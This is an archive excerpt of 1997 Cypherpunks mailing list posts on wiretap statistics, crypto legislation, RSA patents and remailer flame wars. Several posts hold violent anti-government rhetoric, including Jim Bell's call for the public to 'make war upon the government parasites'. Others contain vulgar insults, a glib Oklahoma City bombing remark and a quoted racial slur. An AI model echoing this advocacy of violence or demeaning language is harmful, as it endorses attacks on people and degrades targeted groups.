Subject: 96 Wiretap Report
Message-ID: <1.5.4.32.19970514024518.00816d50@pop.pipeline.com>


William Geiger wrote:

>I noticed in the summary report that e-mail intercepts were used. Is there
>more detailed information on this? I would be interested to know how
>involved the govenment is becoming involved in this area. Of great interest
>would be the location and means used to do such taps.

We could find no listing of E-mail intercepts in the
tables, so it's not clear what the summary was
referring to beyond stating that "electronic mail"
was included under "electronic intercepts" along
with digital display pagers, voice pagers, and
cellular phones.

The tables list intercept information under two categories:
Type and Place.

Type:

1. Phone Wire
2. Micro-Eavesdrop
3. Electronic
4. Not Reported

Place:

1. Single-Family Dwelling
2. Apartment
3. Multiple Dwelling
4. Business
5. Roving
6. Other

"Other" is further listed as:

Automobile/Van
Briefcase
Cellular/Mobile Phone
Cemetary
Closed Circuit TV
Container
Digital Display Pager
Facsimile
Garage/Parking Lot
Hospital
Hotel Room/Motel Room
Jail
Mobile Home/Trailer
Package/Cargo
Pay Phone
Pen Register
Prison
Social Club
Storage
Telefax
Courthouse
Street
Computer

We found only a single instance where the "place" was
a computer.

BTW, the 193-page printed report is available free from
the Administrative Office of the U.S. Courts. 

Telephone: 202-273-2156.

Web site: http://www.uscourts.gov/

Folks there were quite helpful, so it's possible that you
might get E-mail intercept details from them by
requesting it. If you do, let us know, quick!






From kent at songbird.com  Tue May 13 20:10:53 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 14 May 1997 11:10:53 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
In-Reply-To: <199705140215.TAA11471@mail.pacifier.com>
Message-ID: <19970513194747.04236@bywater.songbird.com>


On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
> At 12:45 5/12/97 -0700, Chris DiBona wrote:
> 
> >And keep in mind , I don't begrudge RSA thier right to make money off thier
> intellectual property,
> 
> However, I've been waiting many years for some patent-law-knowledgeable
> person to explain why mathematics, which was widely seen as being absolutely
> unpatentable prior to the invention of public-key cryptography, suddenly
> became patentable just in time for RSA, etc.  
> 
> Until I hear such an explanation, I _DO_ begrudge RSA and others that "right."

Wow!  I agree with you!

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tcmay at got.net  Tue May 13 20:36:24 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 11:36:24 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <3.0.1.32.19970512171524.028df2c8@panix.com>
Message-ID: 


At 6:34 PM -0800 5/13/97, Kent Crispin wrote:

>First of all, it neglects to consider that governments may have
>prevented more murders than they caused.  This is unknowable, since
>we don't have any worthwhile control cases.  (I suppose we
>might examine a state of anarchic chaos (eg Rawanda) and compare the
>percentage of murders...but such cases are symptoms of other human
>ills, and cannot be used as a meaningful comparison, I believe.)

Rwanda (or Ruwanda, or...) is a _very_ poor example to pick, as this was
not any kind of anarchy such as any of us have ever advocated. Rather,
Rwanda was a near-textbook example of one tribal faction (Hutus or Tutsis)
coming to power and inititiating a pogrom against the rival faction (Tutsis
or Hutus).

Calling this an "anarchy" is comparable to calling the pogrom by the Third
Reich against Jews, gypsies, cripples, and others an example of anarchy.

The rest of Kent's analysis is not worth my time to read and comment upon.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Tue May 13 20:41:13 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Wed, 14 May 1997 11:41:13 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140116.UAA23579@einstein.ssz.com>
Message-ID: <199705140332.WAA12963@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705140116.UAA23579 at einstein.ssz.com>, on 05/13/97 at 07:16 PM,
   Jim Choate  said:


>Forwarded message:

>> From: "William H. Geiger III" 
>> Date: Tue, 13 May 97 20:33:41 -0500
>> Subject: Re: KKK derails crypto bill, report from House Judiciary... (fwd)

>> >> Every bill that *is not* passed by congress is just that much more freedom
>> >> that is saved. If all the bills passed by congress over the past 100yrs.
>> >> could all be repealed no one would miss them in the least (well no one
>> >> except the STATEST). 
>> 
>> >Yeah,
>> 
>> >Blacks could go back to being niggers.
>> >Women could go back to being barefoot and pregnant
>> >etc...
>> 
>> >Talk about statest.
>> 
>> I don't know where you get the above from?

>Constitutional Amendments are general passed by Congress. Hence, your
>statement taken literaly is advocating a great deal of good that has come
>from such actions.

Well I was not thinking of Constitutional Amendments when I made my
orriginal statement as they require ratification by the States to become
law. After thinking on it awhile though I think it would be vailid to
include some of them. I don't have a copy of the Constitution handy so I
will try to address them from memory.

Voting Amendments:

If I recall right there was nothing in the constitution that prevented
women from voting. This was done through state law. I beleive with the
growing support of the sufferget movemnet in the country at the time that
this issue would have been resolved either at the state level or through SC
rulling that the states were acting unconstitionally. I beleive that this
is how the Jim Crow and other state voting laws were abolished.

I do think that droping the voting age from 21 to 18 was a good thing. If
you are old enough to fight and die for your country you should be old
enough to vote for/against the bastards that are getting you killed.

Anti-Discrimination Amendments:

While I think that it was a good thing to abolish State enforced
discrimination I do not like the intrusion into the private sector that has
been a result. I beleive that there is a "right of association" that every
individule has. I should be able to determin who I associate with on
whatever basis I chose to make that determinination. I could go on for
pages on this subject but I beleive that overall such legislation has hurt
the Black community more than it has helped it.


>> I supose that your statest brainwashing has convinced you that such social
>> issues could have only been resolved by Federal intervention. Quite the
>> contrary is true. Any laws passed by congress in these areas were brought
>> about *because* society was already moving in those directions not the
>> other way around.

>I was a small boy in the 60's in and around Houston. I remember what it
>was like before and after the desegregation that took place in the
>mid-60's when I started elementary. I can promise you from personal
>experience there were still seperate washrooms and fountains. Sweeney, Tx.
>still had a sign on Interstate 90 that said (and I quote) "If you are
>black don't let the sun set on you in Sweeney." (the sign was on private
>property adjacent to the interstate I found out years later)

I never questioned that such things went on. Much of this was enforced by
law which was wrong.

>As to a little modern social commentary. Ride the city bus in your town
>for 1 month each day. During that time keep track of where people sit.
>Would you like to explain why the majority of blacks still sit in the back
>of the bus?

Well since I haven't rode the bus in years I really can't confirm or deny
this. I don't recall this when I rode the L and buses in Chicago but then
again it was not somthing I really paid attention to. (Personaly I prefer
riding towrads the back of the bus but it does not have the stigma
associated with it that it may for others).

>And for those who are white with real cajones, walk into a black bar
>around 1AM on a Sunday.

Heh, I do this quite often. :) As an avid Jazz & Blues fan and so-so
Corrnet player I have frequented "black" bars in Chicago, KC, St. Louis,
Houston, & New Orleans. I never experinced any problems outside of the
normal things that happen if you spend enough time in the bars.

I also consider myself a fairly good pool player which tends to bring me
into "black" bars and pools halls on a regular basis.

Now if you are talking of some hole-in-the-wall right around the corner
from the projects then no I do not frequent such places late at night but I
doubt that many middle class black do either. Well there was an after hours
joint I used to go to on Galviston but stoped going after the guy I was
talking to got his kneecap blown off. I decided it was much wiser just to
get a carryout at 2am. :)

>> If someone is going to descriminate on the basis of race or sex or any
>> other criteria they are going to do so reguardless of what laws are passed
>> in DC.

>Absolutely, as is their Constitutionaly protected right. THE FEDERAL
>GOVERNMENT AND EVERY OTHER FORM OF SOCIAL AND LEGAL INSTITUTION SHOULD NOT
>EVER, PERIOD. Private individuals and companies should, and can,
>discriminate to their hearts content. I personaly wouldn't deal with a
>business that I knew a priori discriminated against employees or customers
>based on sex, religion, etc. as a matter of standard policy. I suspect
>that most others with 2 halves of a clue to rub together would refuse as
>well.

Absolutly. I have always beleived that the only color that truely matters
in this country is green. If a company or indivdule does not ingage in a
policy that you support then vote with your wallet. This brings me back to
my orriginal message. Things did not start to change in this country until
the Black community, with the support of many whites, rallied together and
refused to accept the status quo. This is why things started to change back
in the 60's not because of legislation from DC. The polititions were merly
jumping on the bandwagon.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: It's OS/2, Jim, but not OS/2 as we know it.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

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uFTM5pSW4gk=
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From tcmay at got.net  Tue May 13 20:41:40 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 11:41:40 +0800
Subject: Sabotaging Grumman's Computers
In-Reply-To: <3.0.1.32.19970513221218.00a5bcf0@gateway.grumman.com>
Message-ID: 


At 6:12 PM -0800 5/13/97, Rick Osborne wrote:

>the applications I develop.  The constant barrage of "why did you visit
>this page?", or "what does this application you downloaded do?" is not only
>irritating but counter-productive.  This got me thinking: disregarding
>outside proxy schemes (such as Anonymizer), we can't really keep the proxy
>server from knowing the site we are connecting to.  We can, however, hide
>the page we are retrieving.

And what do they think of you reading messages entitled "Sabotaging
Grumman's Computers"?

(As to any Grumman censors reading this and reaching for their cellphones
to call Security, fuck 'em if they can't take a joke.)

--The Grummanbomber

(The serious point being that mere membership in a list like Cypherpunks is
fraught with more dangers, to a company like Grumman, than nearly any Web
pages I can imagine.)


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at algebra.com  Tue May 13 21:07:49 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 14 May 1997 12:07:49 +0800
Subject: KKK derails crypto bill, report from House Judiciary... (fwd)
In-Reply-To: <199705140332.WAA12963@mailhub.amaranth.com>
Message-ID: <199705140358.WAA19287@manifold.algebra.com>


William H. Geiger III wrote:
>    Jim Choate  said:
> >As to a little modern social commentary. Ride the city bus in your town
> >for 1 month each day. During that time keep track of where people sit.
> >Would you like to explain why the majority of blacks still sit in the back
> >of the bus?
> 
> Well since I haven't rode the bus in years I really can't confirm or deny
> this. I don't recall this when I rode the L and buses in Chicago but then

I actually did ride buses some time ago.

Haven't noticed anything like what Prof. Choate suggests.

	- Igor.






From tcmay at got.net  Tue May 13 21:11:07 1997
From: tcmay at got.net (Tim May)
Date: Wed, 14 May 1997 12:11:07 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: 
Message-ID: 


At 3:32 PM -0800 5/13/97, Declan McCullagh wrote:

>A two-hour debate over whether KKK volunteers could be sued for
>spilling coffee on an 8-year old at a bake sale blew through
>millions of dollars in billable lobbyist-hours and prevented the
>House Judiciary Committee from voting on Rep. Bob Goodlatte's
>(R-VA) SAFE crypto bill today.
>
>Somnolent yet somehow alert, Rep. John Conyers (D-Mich) wasted an
>hour sparring with the avuncular Rep. Henry Hyde (R-Illinois) over
>the "Volunteer Protection Act," which insulates people volunteering
>for nonprofit organizations from civil liability.
>
>But would that apply to the KKK, wondered Conyers? Is the KKK a
>registered 501(c)(3) organization under the IRS code? What about
>501(c)(4) organizations? What if a KKK member decided to build houses
>for Habitat for Humanity?

Though this was presumably not the thrust of Declan's article, the notion
that "some organizations are more insulated than others" (to paraphrase
George Orwell) is itself pernicious and revealing about the nature of
Washington.

If indeed the KKK, or the Knights of Aryanism, or the Panthers of Color are
501(c) entities, which is quite possible, then *if course* they should get
whatever status other 501(c) entities get!

(The issue of state vs. Federal jurisdiction, and the "Lopez" case, is not
what's at stake here.)

When either the Federal or state government can use policy to reward
certain types of organizations, e.g., the National Organization for Women,
but punish other types of organizations, e.g., the Aryan White Peoples
Organization, then all is lost.

(But all was lost a long time ago.)

This is actually just as important a story as whether Netscape and
Microsoft will get their special export provisions while Americans face
criminal penalties for exercise of basic Constitutional rights.


Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
sigh of relief for at least a few more months?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Tue May 13 21:16:48 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:16:48 +0800
Subject: Real Terrorism
Message-ID: <199705140406.VAA01539@fat.doobie.com>


Bill Stewart wrote:
> 
> At 01:14 PM 5/11/97 -0400, lucifer Anonymous Remailer wrote:
> > AMMONIUM TRIIODIDE CRYSTALS
> Sigh.  Terror isn't our business, and any handbook that
> can't tell ammonium tri-iodide from nitrogen tri-iodide
> is more dangerous to its readers than anyone else.
> 
> If you _really_ wanted to scare governments,
> you'd start publishing papers saying things like
> 
>         AMENDMENT 1 - Congress shall make no law ......

  But if we did that, then Congress would probably pass
a law for our protection...

TruthMonger







From jimbell at pacifier.com  Tue May 13 21:19:34 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 12:19:34 +0800
Subject: RSA, PGP IN LEGAL FLAP OVER ENCRYPTION TECHNOLOGY
Message-ID: <199705140347.UAA24759@mail.pacifier.com>


At 19:47 5/13/97 -0700, Kent Crispin wrote:
>On Tue, May 13, 1997 at 07:11:48PM -0800, Jim Bell wrote:
>> However, I've been waiting many years for some patent-law-knowledgeable
>> person to explain why mathematics, which was widely seen as being absolutely
>> unpatentable prior to the invention of public-key cryptography, suddenly
>> became patentable just in time for RSA, etc.  
>> 
>> Until I hear such an explanation, I _DO_ begrudge RSA and others that
"right."
>
>Wow!  I agree with you!

Sit down until the feeling goes away.


Jim Bell
jimbell at pacifier.com






From nobody at huge.cajones.com  Tue May 13 21:21:07 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:21:07 +0800
Subject: whine politics again
Message-ID: <199705140406.VAA01440@fat.doobie.com>


lucifer Anonymous Remailer wrote:

> What the ultimate result here should be we all demand our legislators pass
> a law prohibiting the establishment of daycare centers, schools, hospitals
> or nursing homes within 1000 ft of government centers, army bases, or any
> federal offices.
> 
> They could call it the "No Human Shielding law."
> 
> What legislator would dare complain that the federal government not use
> his or her constituents children to shield ATF, FBI or other TLA agents?

  No BATF agents died in the Oklahoma City bombing. Seems they all had
the day off, so they didn't need shielding. (They didn't have the
decency
to suggest that the daycare take the day off, as well.)







From dlv at bwalk.dm.com  Tue May 13 21:21:44 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 14 May 1997 12:21:44 +0800
Subject: War & InfoWar
In-Reply-To: <199705131735.NAA11422@dhp.com>
Message-ID: 


lucifer at dhp.com (lucifer Anonymous Remailer) writes:
> On Sun, 11 May 1997, Paul Bradley wrote:
>
> >> >   How many government employees quit in outrage, stating that
> > > they would not take part in such atrocities? How many took a
> > > vocal moral stand against their superiors, or exposed the
> > > government duplicity involved in the police action?
> >
> > They are all whores, so I suggest we fuck them like whores.
> >
>
> No thanks, you have to pay for whores.  Let's not give them any more
> business.  Besides, who knows what VD government whores carry. AP is
> better. FP (Fucking Politicians) is what they do best to each other.
>
> WhoreMonger.

Unlike government employee parasites, whores do something for a living.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From lucifer at dhp.com  Tue May 13 21:28:51 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:28:51 +0800
Subject: Would the anonymous person(s) please...
Message-ID: <199705140414.AAA32277@dhp.com>


bennett_t1 at popmail.firn.edu wrote:
> 
> Would all those anonymous remailing people with a flame tendency, please
> flame the person of your attacks, and don't send this bullshit to the
> list?  Thanks...

  No. (but thanks for asking so politely(






From jamesd at echeque.com  Tue May 13 21:30:55 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Wed, 14 May 1997 12:30:55 +0800
Subject: unsafe SAFE:
Message-ID: <199705140419.VAA01203@proxy3.ba.best.com>


according to http://www.news.com/News/Item/0,4,10604,00.html

                Kerrey's effort has one thing in common with the
                SAFE Act: It calls for the creation of an Information
                Security Board. The board proposal caused some
                privacy watchdogs to pull their endorsements of
                SAFE because it wouldn't have to comply with
                federal open-meeting act. 


Since a common hand has presumably been at work in both bills,
this looks like good cop / bad cop to me.

The good cop says, "I am your friend"

He is not your friend.

Create a federal board, and it will exercise power.

 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From nobody at huge.cajones.com  Tue May 13 21:35:30 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 14 May 1997 12:35:30 +0800
Subject: [STEGO] Secure envelopes
Message-ID: <199705140406.VAA01463@fat.doobie.com>


Someone too gutless to use their real name and full address in 
their email, disguising themself as "The Spectre" wrote:

> I, personally, have been on this mailing list for a while now,
> and have never seen *any* worthwhile posts from either of those remailers,
> or any other for that matter.  If you've got something to say, say it.
> Anything less is cowardice, in one form or another.


  It seems that The Spectre finds much on this list to be worthless,
including the value of anonymity. (Except in his or her own case,
obviously.)
  All of The Spectre's comments seem to be reruns of old posts
which were followed by calls for list censorship. Personally, I
prefer the ASCII art.

TruthMonger







From lucifer at dhp.com  Tue May 13 21:50:16 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 14 May 1997 12:50:16 +0800
Subject: Worthless List
Message-ID: <199705140405.AAA32067@dhp.com>


The Spectre wrote:
> In response to this childish, no.cajones.com message, I have removed all
> previous filters and added one, simpler filter on incoming mail.  Delete
> when recieved from nobody at huge.cajones.com or lucifer at dhp.com.
> 
> I suggest you all to the same.. it may actually serve to make this list
> worthwhile...

  Yet another dweeb who considers the list not to be worthwhile,
but who wants to tell everyone else what to read and what not to
read, nonetheless.
  Is there going to be another round of missives about how the list's
ASCII art is the Big Enemy of cypherpunks everywhere? I'm have much
more concern about a small pimple I just found on my butt. Perhaps
I should start a thread to discuss the implications of this for
privacy and freedom worldwide.

PimpleMonger







From declan at well.com  Tue May 13 22:06:19 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 May 1997 13:06:19 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: 
Message-ID: 


Nope, SAFE isn't dead. I'll bet you a couple bucks it'll make it out of
House Judiciary in about 14 hours. Markup Wednesday at 1:30 pm, followed
by a vote on the flag burning amendment. (Oh baby!)

Goodlatte came up to me after the subcommittee vote not long ago and told
me how he had the votes on Judiciary to get it through, no sweat. But then
it goes I believe to International Relations as part of a sequential
referral. We'll see what happens there. More opposition, certainly.

There's some minor good news. The "crypto in furtherance of a crime" 
provision likely will be yanked in favor of an eight-part test that's
going to be pretty damn tough for prosecutors to prove. I have the text on
my Duo and I'm on my NeXT, so I won't include it here but I may send it
along later. (BTW, I just installed Mach Ten on my Duo. Finally, a csh
prompt on a Mac!) 

Still, I'm not happy with it. I think the best way to deal with the crypto
embargo is to let the courts decide. (I'm particularly a fan of Peter's
lawsuit.) That, and write code. 

-Declan


On Tue, 13 May 1997, Tim May wrote:
> Back to SAFE, though. Does this mean the bill is dead? Can we all breathe a
> sigh of relief for at least a few more months?






From jimbell at pacifier.com  Tue May 13 22:11:13 1997
From: jimbell at pacifier.com (Jim Bell)
Date: Wed, 14 May 1997 13:11:13 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
Message-ID: <199705140456.VAA05054@mail.pacifier.com>


At 19:34 5/13/97 -0700, Kent Crispin wrote:
>On Mon, May 12, 1997 at 05:15:24PM -0400, Duncan Frissell wrote:
>>Governments have murdered 170 million people since 1900.  My
>>back-of-the-envelope estimate is that the civilians of the world have only
>>murdered about 20 million people in the same period of time.  Quite a
>>disparity.
>
>Your estimate seems high to me.  But it is meaningless, in any case.

This isn't the first time you've called information that is detrimental to
your position words equivalent to "meaningless."  I suppose that's easier
than disproving the other person's claim, or proving your own.  

>First of all, it neglects to consider that governments may have 
>prevented more murders than they caused.  This is unknowable, since 
>we don't have any worthwhile control cases.

Your position is laughable.  Statistics on murder rates are knowable for
many countries.  Studying the murder rate for those countries will at least
provide a range against which deaths due to government-caused wars can be
compared.  

>Second, such cases of civil breakdown aside, all humans, for now and
>for the conceivable future, live within the context of some kind of
>government.  The option of non-government simply doesn't exist. 

That's precisely what the governments and their agents want us to believe.
Minarchism is certainly possible, and at the risk of appearing to blow my
own AP-horn, it is indeed plausible that the public can take down all
governments in a reasonably straightforward fashion.  The fact that
governments will strongly dislike this option is no reason to not consider
the possibility.


> The 
>issue is how can governments be improved.


By eliminating them, of course.

>Third, murders caused by governments can't really be separated from
>murders caused by individuals.  That is, in many cases deciding
>whether a murder is a personal action or a government action is
>impossible. 

"Aye vas joost vollowink orderz!"

Sorry, we're still laughing at you.

>Fourth, it's fashionable in these circles to paint all governments
>with the same brush, but in fact, some are much better than others.  
>But it only takes one bad one to start a war.  Furthermore, human 
>motivations are complex and irrational, so wars are started for 
>essentially insane reasons.  This is a human problem, not a problem 
>of government.

No, quite the contrary.  Considered from the perspective of the cumulative
interests of society, wars are not beneficial or "profitable."  Only from
the very limited viewpoint of the military-industrial complex and government
employees does war appear to be a net benefit, and that's true only because
the interests of most of the population (on whom the effect of war is a net
negative) is ignored.  The reason war occurs is that the decision to have a
war is made not by society as a whole, but by that tiny fraction which profits.

Put the decision to have the war back into the hands of the population as a
whole, and war will decrease.  Give the public the option to make war upon
the government parasites infesting their own land, and war will end forever.

>[Parenthetically, it is absolutely amazing to me that he and
>practically everyone on this list just seems to assume McVeigh is
>guilty...do they know something I don't?]

For the purposes of most of the arguments we make, the identity of the
actual bomber is irrelevant.


Jim Bell
jimbell at pacifier.com






From declan at well.com  Tue May 13 22:21:38 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 14 May 1997 13:21:38 +0800
Subject: KKK derails crypto bill, report from House Judiciary...
In-Reply-To: <199705140035.TAA10601@mailhub.amaranth.com>
Message-ID: 


I appreciate William's comments, but he fails to understand the reality of
the situation. Let's forget about the "furtherance" provision for a
moment.

Congress is not passing a new law in lifting export controls. Rather, it
is reducing the sweep of one it already passed that the White House has
abused.

-Declan


On Tue, 13 May 1997, William H. Geiger III wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> 
> In , on 05/13/97 at 05:32 PM,
>    Declan McCullagh  said:
> 
> 
> >The Net's crypto wet-dreams were demolished this afternoon by a
> >Congressional committee's fear of coffee-drenched kids and the Ku Klux
> >Klan.
> 
> [Discription of a typical day in congress sniped]
> 
> 
> >It worked. By 5:15 pm, after a dozen amendments, the committee passed the
> >"Volunteer Protection Act." As for SAFE -- well, if you're a Congressman
> >faced with the choice of bashing the KKK or tackling crypto policy, what
> >would you do?
> 
> I personaly think that this is a good thing. :)))
> 
> Every bill that *is not* passed by congress is just that much more freedom
> that is saved. If all the bills passed by congress over the past 100yrs.
> could all be repealed no one would miss them in the least (well no one
> except the STATEST). 
> 
> SAFE was a bad ideal as any law regulating crypto. I do not need DC's
> permision to exercise my 1st Admendment rights any more than I need their
> permision to exercise any of my rights.
> 
> - -- 
> - -----------------------------------------------------------
> William H. Geiger III  http://www.amaranth.com/~whgiii
> Geiger Consulting    Cooking With Warp 4.0
> 
> Author of E-Secure - PGP Front End for MR/2 Ice
> PGP & MR/2 the only way for secure e-mail.
>                           
> Finger whgiii at amaranth.com for PGP Key and other info
> - -----------------------------------------------------------
>  
> Tag-O-Matic: MASOCHIST: Windows SDK programmer with a smile!
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
> Comment: Registered User E-Secure v1.1 ES000000
> 
> iQCVAwUBM3kX0Y9Co1n+aLhhAQFNmgP+NYbfMx5fX506NhGiCQVS/3IGo2/b3IcE
> mBLEsVnOwggkrz/ebO5r4rnQNhKTzd0tCqxQtGAtR7lRna/cQsFg2wqVHpwX/G70
> SWrrlsm1DI0rEFKIi1bSbJ4tkDMpdQQOhtwYRDLUXHH/JuWh0B19wZZ0yYi6WwBy
> 3BH+23/iba0=
> =QUcl
> -----END PGP SIGNATURE-----
> 
> 
> 






From shamrock at netcom.com  Tue May 13 22:32:56 1997
From: shamrock at netcom.com (Lucky Green)
Date: Wed, 14 May 1997 13:32:56 +0800
Subject: Disinformation in L.A.
Message-ID: <3.0.32.19970513220804.006f09d4@netcom13.netcom.com>


At 12:19 PM 5/11/97 -0400, Declan McCullagh wrote:
>You might remember I wrote recently about the DoJ report released this
>month that calls for new legislation to ban bomb-making info online. Now
>Feinstein's office tells me she's going to introduce a bill. 

Feinswine never saw a gun/mind control bill she didn't like. She is an
ultra fascist that rose to power thanks to the yellow dog Bay Area voters.



-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From declan at pathfinder.com  Tue May 13 22:49:33 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Wed, 14 May 1997 13:49:33 +0800
Subject: unsafe SAFE:
In-Reply-To: <199705140419.VAA01203@proxy3.ba.best.com>
Message-ID: 


I believe Courtney got it wrong. Isn't it Pro-CODE that has the Info Board
provision? See:

  SEC. 6. INFORMATION SECURITY BOARD.
   
   (a) INFORMATION SECURITY BOARD TO BE ESTABLISHED- The Secretary shall
       establish an Information Security Board comprised of
       representatives of agencies within the Federal Government
       responsible for or involved in the formulation of information
       security policy, including export controls on products with
       information security features (including encryption). The Board
       shall meet at such times and in such places as the Secretary may
       prescribe, but not less frequently than quarterly. The Federal
       Advisory Committee Act (5 U.S.C. App.) does not apply to the Board
       or to meetings held by the Board under subsection (d).

-Declan


On Tue, 13 May 1997 jamesd at echeque.com wrote:

> according to http://www.news.com/News/Item/0,4,10604,00.html
> 
>                 Kerrey's effort has one thing in common with the
>                 SAFE Act: It calls for the creation of an Information
>                 Security Board. The board proposal caused some
>                 privacy watchdogs to pull their endorsements of
>                 SAFE because it wouldn't have to comply with
>                 federal open-meeting act. 
> 
> 
> Since a common hand has presumably been at work in both bills,
> this looks like good cop / bad cop to me.
> 
> The good cop says, "I am your friend"
> 
> He is not your friend.
> 
> Create a federal board, and it will exercise power.
> 
>  ---------------------------------------------------------------------
>               				|  
> We have the right to defend ourselves	|   http://www.jim.com/jamesd/
> and our property, because of the kind	|  
> of animals that we are. True law	|   James A. Donald
> derives from this right, not from the	|  
> arbitrary power of the state.		|   jamesd at echeque.com
> 
> 






From stewarts at ix.netcom.com  Tue May 13 22:58:26 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 14 May 1997 13:58:26 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <3.0.1.32.19970513185328.0065abc8@popd.ix.netcom.com>


At 09:26 PM 5/9/97 -0800, Tim May wrote:
>I am shipping a few bottles of California's finest merlot (much nicer than
>the trendy cabernets) to my sister and her husband in Hollywood, FL.

You're a bit late - merlots have been getting more trendy :-)
But Chiles hasn't signed the Florida law quite yet, so you're also early.
Do they even _grow_ wine in Florida?  You'd think it would be the 
cocaine industry trying to get their product regulated to keep prices high.

>There's something wrong when I'm a felon under an increasing number of laws.

It's especially ridiculous that shipping wine should be a *felony*.
Mike Froomkin points out that the Constitutional Amendment ending
Prohibition lets states make their own stupid decisions like this,
and it probably overrides Commerce Clause controls.
You'd expect that a law that's made primarily to protect business
interests would have business-oriented penalties - like fines for
conducting wine-shipping without a wine-shipping license,
or triple fines for not filling out paperwork in triplicate.

Does anyone know if either state's laws also penalize the 
recipient of the Demon Grape, or only the sender?  
(And is there a list of the state legislators on-line? 
"Dear Senator Foobar:  If you'd passed S.B.336, you'd be busted now!")

About 10 years ago, New Jersey legalized home-made wine and beer,
with a requirement that you get a $3 permit.  Nobody'd particularly
realized it wasn't legal, and in a heavily Italian state people had
been making wine at home since Prohibition ended (...),
and everybody agreed it was stupid to keep it illegal.
But the burons wanted to retain _some_ control, hence the permit.
Enough people complained about it that they dropped the
permit requirement pretty quickly.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From kent at songbird.com  Tue May 13 23:13:26 1997
From: kent at songbird.com (Kent Crispin)
Date: Wed, 14 May 1997 14:13:26 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials in or Near Government Buildings
In-Reply-To: <199705140456.VAA05054@mail.pacifier.com>
Message-ID: <19970513225047.26856@bywater.songbird.com>


On Tue, May 13, 1997 at 09:52:44PM -0800, Jim Bell wrote:
> At 19:34 5/13/97 -0700, Kent Crispin wrote:
> >Your estimate seems high to me.  But it is meaningless, in any case.
> 
> This isn't the first time you've called information that is detrimental to
> your position words equivalent to "meaningless."  I suppose that's easier
> than disproving the other person's claim, or proving your own.  

Ho hum.

